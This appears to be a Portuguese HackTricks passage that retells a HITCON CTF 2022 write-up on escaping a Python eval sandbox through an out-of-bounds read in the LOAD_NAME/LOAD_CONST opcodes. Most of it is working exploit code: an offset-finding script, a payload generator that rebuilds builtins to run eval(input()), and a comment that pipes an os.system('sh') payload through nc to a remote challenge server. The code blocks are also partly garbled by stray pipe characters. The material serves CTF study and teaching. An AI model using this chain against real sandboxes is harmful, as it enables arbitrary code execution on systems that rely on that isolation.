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# LOAD_NAME / LOAD_CONST opcode OOB Read
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<details>
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<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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</details>
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**Essas informações foram retiradas** [**deste artigo**](https://blog.splitline.tw/hitcon-ctf-2022/)**.**
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### TL;DR <a href="#tldr-2" id="tldr-2"></a>
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Podemos usar a funcionalidade de leitura OOB no opcode LOAD_NAME / LOAD_CONST para obter algum símbolo na memória. O que significa usar truques como `(a, b, c, ... centenas de símbolos ..., __getattribute__) if [] else [].__getattribute__(...)` para obter um símbolo (como o nome de uma função) desejado.
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Em seguida, basta criar seu exploit.
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### Visão Geral <a href="#overview-1" id="overview-1"></a>
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O código fonte é bastante curto, contendo apenas 4 linhas!
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```python
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source = input('>>> ')
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if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
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code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=())
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print(eval(code, {'__builtins__': {}}))1234
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```
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Pode inserir código Python arbitrário, e ele será compilado para um [objeto de código Python](https://docs.python.org/3/c-api/code.html). No entanto, `co_consts` e `co_names` desse objeto de código serão substituídos por uma tupla vazia antes de avaliar esse objeto de código.
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Dessa forma, todas as expressões que contêm constantes (por exemplo, números, strings etc.) ou nomes (por exemplo, variáveis, funções) podem causar falha de segmentação no final.
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### Leitura Fora dos Limites <a href="#out-of-bound-read" id="out-of-bound-read"></a>
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Como ocorre a falha de segmentação?
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Vamos começar com um exemplo simples, `[a, b, c]` poderia ser compilado no seguinte bytecode.
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```
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1 0 LOAD_NAME 0 (a)
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2 LOAD_NAME 1 (b)
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4 LOAD_NAME 2 (c)
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6 BUILD_LIST 3
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8 RETURN_VALUE12345
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```
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Mas e se os `co_names` se tornarem uma tupla vazia? O opcode `LOAD_NAME 2` ainda é executado e tenta ler o valor daquele endereço de memória onde originalmente deveria estar. Sim, isso é uma "característica" de leitura fora dos limites.
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O conceito principal para a solução é simples. Alguns opcodes no CPython, por exemplo, `LOAD_NAME` e `LOAD_CONST`, são vulneráveis (?) à leitura fora dos limites.
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Eles recuperam um objeto do índice `oparg` da tupla `consts` ou `names` (é assim que `co_consts` e `co_names` são chamados internamente). Podemos nos referir ao trecho curto a seguir sobre `LOAD_CONST` para ver o que o CPython faz ao processar o opcode `LOAD_CONST`.
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```c
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case TARGET(LOAD_CONST): {
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PREDICTED(LOAD_CONST);
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PyObject *value = GETITEM(consts, oparg);
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Py_INCREF(value);
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PUSH(value);
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FAST_DISPATCH();
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}1234567
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```
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Desta forma, podemos usar o recurso OOB para obter um "nome" de um deslocamento de memória arbitrário. Para garantir qual nome ele tem e qual é o seu deslocamento, basta continuar tentando `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... E você pode encontrar algo em cerca de oparg > 700. Você também pode tentar usar o gdb para dar uma olhada no layout da memória, é claro, mas eu não acho que seria mais fácil?
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### Gerando o Exploit <a href="#generating-the-exploit" id="generating-the-exploit"></a>
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Uma vez que recuperamos esses deslocamentos úteis para nomes / constantes, como _obtemos_ um nome / constante a partir desse deslocamento e o usamos? Aqui está um truque para você:\
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Vamos supor que podemos obter um nome `__getattribute__` a partir do deslocamento 5 (`LOAD_NAME 5`) com `co_names=()`, então basta fazer o seguinte:
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```python
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[a,b,c,d,e,__getattribute__] if [] else [
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[].__getattribute__
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# you can get the __getattribute__ method of list object now!
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]1234
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```
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> Observe que não é necessário nomeá-lo como `__getattribute__`, você pode nomeá-lo como algo mais curto ou mais estranho
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Você pode entender a razão por trás disso apenas visualizando seu bytecode:
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```python
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0 BUILD_LIST 0
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2 POP_JUMP_IF_FALSE 20
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>> 4 LOAD_NAME 0 (a)
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>> 6 LOAD_NAME 1 (b)
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>> 8 LOAD_NAME 2 (c)
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>> 10 LOAD_NAME 3 (d)
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>> 12 LOAD_NAME 4 (e)
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>> 14 LOAD_NAME 5 (__getattribute__)
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16 BUILD_LIST 6
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18 RETURN_VALUE
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20 BUILD_LIST 0
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>> 22 LOAD_ATTR 5 (__getattribute__)
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24 BUILD_LIST 1
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26 RETURN_VALUE1234567891011121314
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```
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Observe que `LOAD_ATTR` também recupera o nome de `co_names`. O Python carrega nomes a partir do mesmo deslocamento se o nome for o mesmo, então o segundo `__getattribute__` ainda é carregado a partir do deslocamento=5. Usando esse recurso, podemos usar um nome arbitrário uma vez que o nome esteja na memória próxima.
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Para gerar números deve ser trivial:
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* 0: not \[\[]]
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* 1: not \[]
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* 2: (not \[]) + (not \[])
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* ...
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### Script de Exploração <a href="#exploit-script-1" id="exploit-script-1"></a>
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Não usei constantes devido ao limite de comprimento.
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Primeiro, aqui está um script para encontrar esses deslocamentos de nomes.
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```python
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from types import CodeType
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from opcode import opmap
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from sys import argv
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class MockBuiltins(dict):
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def __getitem__(self, k):
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if type(k) == str:
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|
return k
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if __name__ == '__main__':
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n = int(argv[1])
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|
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code = [
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*([opmap['EXTENDED_ARG'], n // 256]
|
|
if n // 256 != 0 else []),
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|
opmap['LOAD_NAME'], n % 256,
|
|
opmap['RETURN_VALUE'], 0
|
|
]
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c = CodeType(
|
|
0, 0, 0, 0, 0, 0,
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|
bytes(code),
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|
(), (), (), '<sandbox>', '<eval>', 0, b'', ()
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|
)
|
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|
ret = eval(c, {'__builtins__': MockBuiltins()})
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if ret:
|
|
print(f'{n}: {ret}')
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# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
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|
```
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E o seguinte é para gerar o exploit real em Python.
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```python
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import sys
|
|
import unicodedata
|
|
|
|
|
|
class Generator:
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|
# get numner
|
|
def __call__(self, num):
|
|
if num == 0:
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|
return '(not[[]])'
|
|
return '(' + ('(not[])+' * num)[:-1] + ')'
|
|
|
|
# get string
|
|
def __getattribute__(self, name):
|
|
try:
|
|
offset = None.__dir__().index(name)
|
|
return f'keys[{self(offset)}]'
|
|
except ValueError:
|
|
offset = None.__class__.__dir__(None.__class__).index(name)
|
|
return f'keys2[{self(offset)}]'
|
|
|
|
|
|
_ = Generator()
|
|
|
|
names = []
|
|
chr_code = 0
|
|
for x in range(4700):
|
|
while True:
|
|
chr_code += 1
|
|
char = unicodedata.normalize('NFKC', chr(chr_code))
|
|
if char.isidentifier() and char not in names:
|
|
names.append(char)
|
|
break
|
|
|
|
offsets = {
|
|
"__delitem__": 2800,
|
|
"__getattribute__": 2850,
|
|
'__dir__': 4693,
|
|
'__repr__': 2128,
|
|
}
|
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|
|
variables = ('keys', 'keys2', 'None_', 'NoneType',
|
|
'm_repr', 'globals', 'builtins',)
|
|
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|
for name, offset in offsets.items():
|
|
names[offset] = name
|
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|
|
for i, var in enumerate(variables):
|
|
assert var not in offsets
|
|
names[792 + i] = var
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|
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|
source = f'''[
|
|
({",".join(names)}) if [] else [],
|
|
None_ := [[]].__delitem__({_(0)}),
|
|
keys := None_.__dir__(),
|
|
NoneType := None_.__getattribute__({_.__class__}),
|
|
keys2 := NoneType.__dir__(NoneType),
|
|
get := NoneType.__getattribute__,
|
|
m_repr := get(
|
|
get(get([],{_.__class__}),{_.__base__}),
|
|
{_.__subclasses__}
|
|
)()[-{_(2)}].__repr__,
|
|
globals := get(m_repr, m_repr.__dir__()[{_(6)}]),
|
|
builtins := globals[[*globals][{_(7)}]],
|
|
builtins[[*builtins][{_(19)}]](
|
|
builtins[[*builtins][{_(28)}]](), builtins
|
|
)
|
|
]'''.strip().replace('\n', '').replace(' ', '')
|
|
|
|
print(f"{len(source) = }", file=sys.stderr)
|
|
print(source)
|
|
|
|
# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
|
|
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
|
|
```
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|
Basicamente, ele faz as seguintes coisas, para aquelas strings que obtemos do método `__dir__`:
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|
```python
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|
getattr = (None).__getattribute__('__class__').__getattribute__
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|
builtins = getattr(
|
|
getattr(
|
|
getattr(
|
|
[].__getattribute__('__class__'),
|
|
'__base__'),
|
|
'__subclasses__'
|
|
)()[-2],
|
|
'__repr__').__getattribute__('__globals__')['builtins']
|
|
builtins['eval'](builtins['input']())
|
|
```
|
|
<details>
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